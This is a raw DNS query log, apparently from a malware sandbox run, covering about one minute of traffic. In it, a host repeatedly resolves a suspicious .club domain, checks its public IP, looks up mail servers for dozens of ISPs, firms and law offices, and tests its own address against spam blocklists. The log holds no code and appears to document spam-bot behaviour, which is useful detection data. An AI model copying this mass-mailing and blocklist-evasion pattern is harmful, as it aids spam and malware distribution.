Sep 7, 2021 16:03:19.471676111 CEST	192.168.2.4	8.8.8.8	0x785e	Standard query (0)	urydiahadyss16.club	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:19.479988098 CEST	192.168.2.4	8.8.8.8	0xf7bc	Standard query (0)	mx.lb.btinternet.com	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:19.480813980 CEST	192.168.2.4	8.8.8.8	0xe18c	Standard query (0)	videotron.ca	MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:03:19.561072111 CEST	192.168.2.4	8.8.8.8	0x9387	Standard query (0)	mx.videotron.ca	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:19.577081919 CEST	192.168.2.4	8.8.8.8	0xfc3b	Standard query (0)	41.52.17.84.sbl-xbl.spamhaus.org	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:19.657262087 CEST	192.168.2.4	8.8.8.8	0x75cc	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:19.673513889 CEST	192.168.2.4	8.8.8.8	0xef88	Standard query (0)	freemail.hu	MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:03:19.710074902 CEST	192.168.2.4	8.8.8.8	0x9383	Standard query (0)	fmx.freemail.hu	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:19.710105896 CEST	192.168.2.4	8.8.8.8	0xe387	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:19.794414997 CEST	192.168.2.4	156.154.71.1	0x100	Standard query (0)	41.52.17.84.in-addr.arpa	PTR (Pointer record)	IN (0x0001)
Sep 7, 2021 16:03:19.798510075 CEST	192.168.2.4	8.8.8.8	0xc2bd	Standard query (0)	41.52.17.84.cbl.abuseat.org	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:20.084856987 CEST	192.168.2.4	8.8.8.8	0x1ac7	Standard query (0)	41.52.17.84.dnsbl.sorbs.net	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:20.162090063 CEST	192.168.2.4	8.8.8.8	0xa740	Standard query (0)	41.52.17.84.in-addr.arpa	PTR (Pointer record)	IN (0x0001)
Sep 7, 2021 16:03:20.162972927 CEST	192.168.2.4	8.8.8.8	0x55f9	Standard query (0)	spriggsfamily.org	MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:03:20.163299084 CEST	192.168.2.4	8.8.8.8	0x815	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:21.499155045 CEST	192.168.2.4	8.8.8.8	0x1c1e	Standard query (0)	urydiahadyss16.club	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:21.733683109 CEST	192.168.2.4	8.8.8.8	0x946a	Standard query (0)	sympatico.ca	MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:03:21.769475937 CEST	192.168.2.4	8.8.8.8	0x242	Standard query (0)	41.52.17.84.bl.spamcop.net	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:21.772640944 CEST	192.168.2.4	8.8.8.8	0xd8a9	Standard query (0)	aspmx.l.google.com	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:21.772680998 CEST	192.168.2.4	8.8.8.8	0x625e	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:22.168087959 CEST	192.168.2.4	8.8.8.8	0x4b55	Standard query (0)	vipmail.hu	MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:03:22.172100067 CEST	192.168.2.4	8.8.8.8	0x3f47	Standard query (0)	mxmta.owm.bell.net	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:22.231847048 CEST	192.168.2.4	8.8.8.8	0x37eb	Standard query (0)	41.52.17.84.zen.spamhaus.org	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:22.231890917 CEST	192.168.2.4	8.8.8.8	0xab97	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:22.240725040 CEST	192.168.2.4	8.8.8.8	0x9987	Standard query (0)	mail01.indamail.hu	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:22.515955925 CEST	192.168.2.4	8.8.8.8	0x5e1c	Standard query (0)	thecrossfamily.org	MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:03:22.741323948 CEST	192.168.2.4	8.8.8.8	0x3845	Standard query (0)	41.52.17.84.sbl-xbl.spamhaus.org	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:22.744029999 CEST	192.168.2.4	8.8.8.8	0x6709	Standard query (0)	aspmx.l.google.com	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:22.830300093 CEST	192.168.2.4	8.8.8.8	0xe604	Standard query (0)	41.52.17.84.cbl.abuseat.org	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:22.900525093 CEST	192.168.2.4	8.8.8.8	0x5694	Standard query (0)	mx.videotron.ca	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:23.067038059 CEST	192.168.2.4	8.8.8.8	0xd062	Standard query (0)	urydiahadyss16.club	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:23.603779078 CEST	192.168.2.4	8.8.8.8	0xba25	Standard query (0)	urydiahadyss16.club	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:27.980451107 CEST	192.168.2.4	8.8.8.8	0x6667	Standard query (0)	urydiahadyss16.club	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:28.167675018 CEST	192.168.2.4	8.8.8.8	0x4404	Standard query (0)	kpmg.fr	MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:03:28.237550020 CEST	192.168.2.4	8.8.8.8	0x6dd6	Standard query (0)	mxb-00120b03.gslb.pphosted.com	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:28.258424997 CEST	192.168.2.4	8.8.8.8	0x5e9b	Standard query (0)	cng.fr	MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:03:28.629621983 CEST	192.168.2.4	8.8.8.8	0x2ac	Standard query (0)	smtp-fw.cng.fr	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:28.639314890 CEST	192.168.2.4	8.8.8.8	0x3b20	Standard query (0)	simec-ing.fr	MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:03:28.788635015 CEST	192.168.2.4	8.8.8.8	0x3362	Standard query (0)	urydiahadyss16.club	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:29.497812986 CEST	192.168.2.4	8.8.8.8	0x5a30	Standard query (0)	mail.simec-ing.fr	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:29.498594999 CEST	192.168.2.4	8.8.8.8	0x4f15	Standard query (0)	tpgpackaging.fr	MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:03:29.819730997 CEST	192.168.2.4	8.8.8.8	0x734d	Standard query (0)	mx03.cloud.vadesecure.com	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:30.283946991 CEST	192.168.2.4	8.8.8.8	0x601d	Standard query (0)	starling.fr	MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:03:30.385683060 CEST	192.168.2.4	8.8.8.8	0x7860	Standard query (0)	mxa-001d1702.gslb.pphosted.com	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:31.094918013 CEST	192.168.2.4	8.8.8.8	0x31c3	Standard query (0)	urydiahadyss16.club	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:31.326358080 CEST	192.168.2.4	8.8.8.8	0x94a4	Standard query (0)	etna-learning.fr	MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:03:31.465060949 CEST	192.168.2.4	8.8.8.8	0x5c42	Standard query (0)	aspmx.l.google.com	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:31.528707981 CEST	192.168.2.4	8.8.8.8	0x7bb4	Standard query (0)	semantech.fr	MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:03:31.672162056 CEST	192.168.2.4	8.8.8.8	0xf045	Standard query (0)	urydiahadyss16.club	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:32.065835953 CEST	192.168.2.4	8.8.8.8	0xbe0f	Standard query (0)	mx14.mail.magic.fr	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:32.573964119 CEST	192.168.2.4	8.8.8.8	0x4dc9	Standard query (0)	41.52.17.84.dnsbl.sorbs.net	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:32.645968914 CEST	192.168.2.4	8.8.8.8	0xf71d	Standard query (0)	41.52.17.84.bl.spamcop.net	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:32.707354069 CEST	192.168.2.4	8.8.8.8	0x51c	Standard query (0)	41.52.17.84.zen.spamhaus.org	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:32.826467037 CEST	192.168.2.4	8.8.8.8	0x5951	Standard query (0)	41.52.17.84.sbl-xbl.spamhaus.org	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:33.015012026 CEST	192.168.2.4	8.8.8.8	0x2e86	Standard query (0)	microsoft-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:33.055299997 CEST	192.168.2.4	8.8.8.8	0xe6cb	Standard query (0)	41.52.17.84.cbl.abuseat.org	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:33.146311998 CEST	192.168.2.4	8.8.8.8	0x8abd	Standard query (0)	41.52.17.84.dnsbl.sorbs.net	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:33.202702999 CEST	192.168.2.4	8.8.8.8	0x69fc	Standard query (0)	41.52.17.84.bl.spamcop.net	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:33.525649071 CEST	192.168.2.4	8.8.8.8	0xf1a4	Standard query (0)	41.52.17.84.zen.spamhaus.org	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:33.526839972 CEST	192.168.2.4	8.8.8.8	0x9f6a	Standard query (0)	patel-legal.com	MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:03:33.595264912 CEST	192.168.2.4	8.8.8.8	0x6fb5	Standard query (0)	41.52.17.84.sbl-xbl.spamhaus.org	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:33.614692926 CEST	192.168.2.4	8.8.8.8	0xf182	Standard query (0)	aspmx.l.google.com	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:33.713124037 CEST	192.168.2.4	8.8.8.8	0xe7db	Standard query (0)	builder.pp.ru	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:33.758024931 CEST	192.168.2.4	8.8.8.8	0xa6b2	Standard query (0)	comcast.net	MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:03:33.782983065 CEST	192.168.2.4	8.8.8.8	0xff1d	Standard query (0)	41.52.17.84.cbl.abuseat.org	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:33.820709944 CEST	192.168.2.4	8.8.8.8	0x5208	Standard query (0)	mx2.comcast.net	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:34.477308035 CEST	192.168.2.4	8.8.8.8	0xc140	Standard query (0)	urydiahadyss16.club	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:35.195769072 CEST	192.168.2.4	8.8.8.8	0xe568	Standard query (0)	abclegal.com	MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:03:35.243592978 CEST	192.168.2.4	8.8.8.8	0xa4b0	Standard query (0)	d138221a.ess.barracudanetworks.com	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:35.312546968 CEST	192.168.2.4	8.8.8.8	0x2e32	Standard query (0)	r3dlegal.com	MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:03:35.341312885 CEST	192.168.2.4	8.8.8.8	0x9ef2	Standard query (0)	urydiahadyss16.club	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:35.577135086 CEST	192.168.2.4	8.8.8.8	0xca63	Standard query (0)	rocketmail.com	MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:03:35.585994005 CEST	192.168.2.4	8.8.8.8	0x6e45	Standard query (0)	aspmx.l.google.com	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:35.651222944 CEST	192.168.2.4	8.8.8.8	0x8392	Standard query (0)	mta7.am0.yahoodns.net	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:36.824537992 CEST	192.168.2.4	8.8.8.8	0xce49	Standard query (0)	mx2.comcast.net	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:38.065442085 CEST	192.168.2.4	8.8.8.8	0xeae9	Standard query (0)	api.ip.sb	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:38.111413956 CEST	192.168.2.4	8.8.8.8	0xdd3c	Standard query (0)	api.ip.sb	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:41.172915936 CEST	192.168.2.4	8.8.8.8	0x8e75	Standard query (0)	rathinfotech.com	MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:03:41.293741941 CEST	192.168.2.4	8.8.8.8	0x832	Standard query (0)	mx2.comcast.net	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:41.295164108 CEST	192.168.2.4	8.8.8.8	0x3e7a	Standard query (0)	aspmx.l.google.com	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:42.332726955 CEST	192.168.2.4	8.8.8.8	0x832f	Standard query (0)	elabsinfotech.com	MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:03:42.746967077 CEST	192.168.2.4	8.8.8.8	0x7e92	Standard query (0)	aspmx.l.google.com	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:42.803869963 CEST	192.168.2.4	8.8.8.8	0xa1d7	Standard query (0)	mx2.comcast.net	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:43.941972017 CEST	192.168.2.4	8.8.8.8	0x7fb8	Standard query (0)	mx2.comcast.net	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:44.626753092 CEST	192.168.2.4	8.8.8.8	0x23c1	Standard query (0)	mx2.comcast.net	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:45.363914967 CEST	192.168.2.4	8.8.8.8	0xc71e	Standard query (0)	mx2.comcast.net	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:45.878761053 CEST	192.168.2.4	8.8.8.8	0x6117	Standard query (0)	api.ip.sb	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:45.959558010 CEST	192.168.2.4	8.8.8.8	0xdc21	Standard query (0)	api.ip.sb	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:47.529331923 CEST	192.168.2.4	8.8.8.8	0xc5c4	Standard query (0)	urydiahadyss16.club	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:54.720303059 CEST	192.168.2.4	8.8.8.8	0xffb	Standard query (0)	41.52.17.84.dnsbl.sorbs.net	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:54.795458078 CEST	192.168.2.4	8.8.8.8	0xc67d	Standard query (0)	41.52.17.84.bl.spamcop.net	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:54.892847061 CEST	192.168.2.4	8.8.8.8	0x9448	Standard query (0)	41.52.17.84.zen.spamhaus.org	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:55.163551092 CEST	192.168.2.4	8.8.8.8	0xbf0d	Standard query (0)	41.52.17.84.sbl-xbl.spamhaus.org	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:55.282413960 CEST	192.168.2.4	8.8.8.8	0x540b	Standard query (0)	41.52.17.84.cbl.abuseat.org	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:55.368129015 CEST	192.168.2.4	8.8.8.8	0x1081	Standard query (0)	41.52.17.84.dnsbl.sorbs.net	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:55.752934933 CEST	192.168.2.4	8.8.8.8	0xe354	Standard query (0)	41.52.17.84.bl.spamcop.net	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:55.935980082 CEST	192.168.2.4	8.8.8.8	0xe908	Standard query (0)	41.52.17.84.zen.spamhaus.org	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:56.056942940 CEST	192.168.2.4	8.8.8.8	0x5efb	Standard query (0)	41.52.17.84.sbl-xbl.spamhaus.org	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:56.221065998 CEST	192.168.2.4	8.8.8.8	0xe2db	Standard query (0)	41.52.17.84.cbl.abuseat.org	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:56.233669043 CEST	192.168.2.4	8.8.8.8	0x1f59	Standard query (0)	microsoft-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:58.518863916 CEST	192.168.2.4	8.8.8.8	0xb4b8	Standard query (0)	att.net	MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:03:58.657267094 CEST	192.168.2.4	8.8.8.8	0xe224	Standard query (0)	al-ip4-mx-vip2.prodigy.net	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:58.875641108 CEST	192.168.2.4	8.8.8.8	0xecd4	Standard query (0)	XnreryDtttxrMmEdC.XnreryDtttxrMmEdC	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:58.987087965 CEST	192.168.2.4	8.8.8.8	0x81aa	Standard query (0)	libertysurf.fr	MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:03:59.058316946 CEST	192.168.2.4	8.8.8.8	0xad14	Standard query (0)	mx1.free.fr	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:59.092266083 CEST	192.168.2.4	8.8.8.8	0x87a0	Standard query (0)	swbell.net	MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:03:59.869848967 CEST	192.168.2.4	8.8.8.8	0x426b	Standard query (0)	al-ip4-mx-vip2.prodigy.net	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:00.052452087 CEST	192.168.2.4	8.8.8.8	0xb303	Standard query (0)	api.ip.sb	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:00.133421898 CEST	192.168.2.4	8.8.8.8	0xfef0	Standard query (0)	api.ip.sb	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:00.191922903 CEST	192.168.2.4	8.8.8.8	0xe84c	Standard query (0)	ff-ip4-mx-vip1.prodigy.net	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:00.194138050 CEST	192.168.2.4	8.8.8.8	0x7090	Standard query (0)	mx2.comcast.net	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:00.697043896 CEST	192.168.2.4	8.8.8.8	0xe8d7	Standard query (0)	mx2.comcast.net	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:05.277242899 CEST	192.168.2.4	8.8.8.8	0xa412	Standard query (0)	fmx.freemail.hu	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:05.279722929 CEST	192.168.2.4	8.8.8.8	0x944f	Standard query (0)	freenet.de	MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:06.171613932 CEST	192.168.2.4	8.8.8.8	0x7b9a	Standard query (0)	emig.freenet.de	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:06.190299034 CEST	192.168.2.4	8.8.8.8	0xb2a	Standard query (0)	mx2.comcast.net	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:07.064974070 CEST	192.168.2.4	8.8.8.8	0x3ce8	Standard query (0)	post.com	MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:07.633575916 CEST	192.168.2.4	8.8.8.8	0xa028	Standard query (0)	ylektrismos.com	MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:07.634042025 CEST	192.168.2.4	8.8.8.8	0x5705	Standard query (0)	mx00.mail.com	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:08.099733114 CEST	192.168.2.4	8.8.8.8	0x3fa3	Standard query (0)	mocospace.com	MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:08.236102104 CEST	192.168.2.4	8.8.8.8	0x307d	Standard query (0)	mx02.mocospace.com	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:08.405015945 CEST	192.168.2.4	8.8.8.8	0x72e3	Standard query (0)	cwpanama.net	MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:08.674473047 CEST	192.168.2.4	8.8.8.8	0x7537	Standard query (0)	mxin.upcmail.net	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:08.694328070 CEST	192.168.2.4	8.8.8.8	0x5cf	Standard query (0)	mail.com	MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:08.851185083 CEST	192.168.2.4	8.8.8.8	0xcffc	Standard query (0)	mx01.mail.com	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:08.974452972 CEST	192.168.2.4	8.8.8.8	0xe5d2	Standard query (0)	lycos.com	MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:09.107136965 CEST	192.168.2.4	8.8.8.8	0x74f4	Standard query (0)	mx.lycos.com.cust.b.hostedemail.com	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:09.332431078 CEST	192.168.2.4	8.8.8.8	0xa8b0	Standard query (0)	mx01.mail.com	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:09.520616055 CEST	192.168.2.4	8.8.8.8	0x452	Standard query (0)	emig.freenet.de	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:09.865825891 CEST	192.168.2.4	8.8.8.8	0xab49	Standard query (0)	mx01.mail.com	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:10.297324896 CEST	192.168.2.4	8.8.8.8	0x43fe	Standard query (0)	mx2.comcast.net	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:11.260598898 CEST	192.168.2.4	8.8.8.8	0xdf24	Standard query (0)	dgdgd.de	MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:11.358629942 CEST	192.168.2.4	8.8.8.8	0x53e0	Standard query (0)	235.o74.org	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:11.779381037 CEST	192.168.2.4	8.8.8.8	0xb36c	Standard query (0)	mx01.mail.com	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:12.208787918 CEST	192.168.2.4	8.8.8.8	0x34e7	Standard query (0)	noos.fr	MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:12.293180943 CEST	192.168.2.4	8.8.8.8	0x1a83	Standard query (0)	smtp-in.sfr.fr	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:12.614197969 CEST	192.168.2.4	8.8.8.8	0xc94f	Standard query (0)	mail.dk	MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:12.766623974 CEST	192.168.2.4	8.8.8.8	0x12a3	Standard query (0)	fpo9.mail.dk	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:13.128595114 CEST	192.168.2.4	8.8.8.8	0x7e94	Standard query (0)	t-online.de	MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:13.517576933 CEST	192.168.2.4	8.8.8.8	0x5d57	Standard query (0)	mx02.t-online.de	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:13.774139881 CEST	192.168.2.4	8.8.8.8	0xf88f	Standard query (0)	windowslive.com	MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:13.906842947 CEST	192.168.2.4	8.8.8.8	0x952c	Standard query (0)	nam.olc.protection.outlook.com	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:14.883433104 CEST	192.168.2.4	8.8.8.8	0x46	Standard query (0)	hanmail.net	MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:15.374114990 CEST	192.168.2.4	8.8.8.8	0xb0c5	Standard query (0)	mx1.hanmail.net	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:15.377554893 CEST	192.168.2.4	8.8.8.8	0x2a74	Standard query (0)	emig.freenet.de	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:15.846417904 CEST	192.168.2.4	8.8.8.8	0xadb0	Standard query (0)	mx.wp.pl	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:19.762953043 CEST	192.168.2.4	8.8.8.8	0x5de5	Standard query (0)	bigmir.net	MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:20.206820011 CEST	192.168.2.4	8.8.8.8	0xf73d	Standard query (0)	mx12.bigmir.net	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:20.436800003 CEST	192.168.2.4	8.8.8.8	0x93f6	Standard query (0)	mx2.comcast.net	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:20.957595110 CEST	192.168.2.4	8.8.8.8	0x3310	Standard query (0)	emailn.de	MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:21.272140026 CEST	192.168.2.4	8.8.8.8	0xe663	Standard query (0)	mail.emailn.de	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:22.977679968 CEST	192.168.2.4	8.8.8.8	0xfcd3	Standard query (0)	41.52.17.84.dnsbl.sorbs.net	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:23.025238037 CEST	192.168.2.4	8.8.8.8	0x3679	Standard query (0)	kpnmail.nl	MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:23.065393925 CEST	192.168.2.4	8.8.8.8	0xe7dc	Standard query (0)	41.52.17.84.bl.spamcop.net	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:23.094785929 CEST	192.168.2.4	8.8.8.8	0x3061	Standard query (0)	mx.kpnmail.nl	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:23.143991947 CEST	192.168.2.4	8.8.8.8	0xbf97	Standard query (0)	41.52.17.84.zen.spamhaus.org	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:23.215157986 CEST	192.168.2.4	8.8.8.8	0xd014	Standard query (0)	41.52.17.84.sbl-xbl.spamhaus.org	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:23.247860909 CEST	192.168.2.4	8.8.8.8	0x6b64	Standard query (0)	mx01.mail.com	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:23.295188904 CEST	192.168.2.4	8.8.8.8	0x8a6e	Standard query (0)	41.52.17.84.cbl.abuseat.org	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:23.367726088 CEST	192.168.2.4	8.8.8.8	0xf6de	Standard query (0)	41.52.17.84.dnsbl.sorbs.net	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:23.428025007 CEST	192.168.2.4	8.8.8.8	0xab7e	Standard query (0)	41.52.17.84.bl.spamcop.net	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:23.534358025 CEST	192.168.2.4	8.8.8.8	0x1eeb	Standard query (0)	41.52.17.84.zen.spamhaus.org	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:23.597681999 CEST	192.168.2.4	8.8.8.8	0x6ba3	Standard query (0)	urbanyoga.ca	MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:23.638895035 CEST	192.168.2.4	8.8.8.8	0xb3a6	Standard query (0)	41.52.17.84.sbl-xbl.spamhaus.org	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:23.694701910 CEST	192.168.2.4	8.8.8.8	0x2561	Standard query (0)	41.52.17.84.cbl.abuseat.org	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:23.861069918 CEST	192.168.2.4	8.8.8.8	0x2799	Standard query (0)	mx.urbanyoga.ca	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:23.925966978 CEST	192.168.2.4	8.8.8.8	0x583c	Standard query (0)	meta.ia	MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:23.984695911 CEST	192.168.2.4	8.8.8.8	0x6037	Standard query (0)	foxmail.com	MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:24.069483995 CEST	192.168.2.4	8.8.8.8	0x9ade	Standard query (0)	mx3.qq.com	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:24.236367941 CEST	192.168.2.4	8.8.8.8	0xbb04	Standard query (0)	katima.ca	MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:24.254215002 CEST	192.168.2.4	8.8.8.8	0x8487	Standard query (0)	microsoft-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:24.365190029 CEST	192.168.2.4	8.8.8.8	0xb1c8	Standard query (0)	ASPMX.L.GOOGLE.COM	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:25.241652966 CEST	192.168.2.4	8.8.8.8	0x7657	Standard query (0)	epost.de	MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:25.331579924 CEST	192.168.2.4	8.8.8.8	0x5fbb	Standard query (0)	persona.ca	MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:25.394058943 CEST	192.168.2.4	8.8.8.8	0xa031	Standard query (0)	smtpin.eastlink.ca	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:25.566093922 CEST	192.168.2.4	8.8.8.8	0xd618	Standard query (0)	lycos.de	MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:25.648698092 CEST	192.168.2.4	8.8.8.8	0x4a38	Standard query (0)	mx.lycos.de.cust.b.hostedemail.com	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:25.747502089 CEST	192.168.2.4	8.8.8.8	0x1067	Standard query (0)	smtpin.eastlink.ca	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:26.006619930 CEST	192.168.2.4	8.8.8.8	0x61bc	Standard query (0)	smtpin.eastlink.ca	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:26.033590078 CEST	192.168.2.4	8.8.8.8	0xbd2b	Standard query (0)	mx01.mail.com	A (IP address)	IN (0x0001)
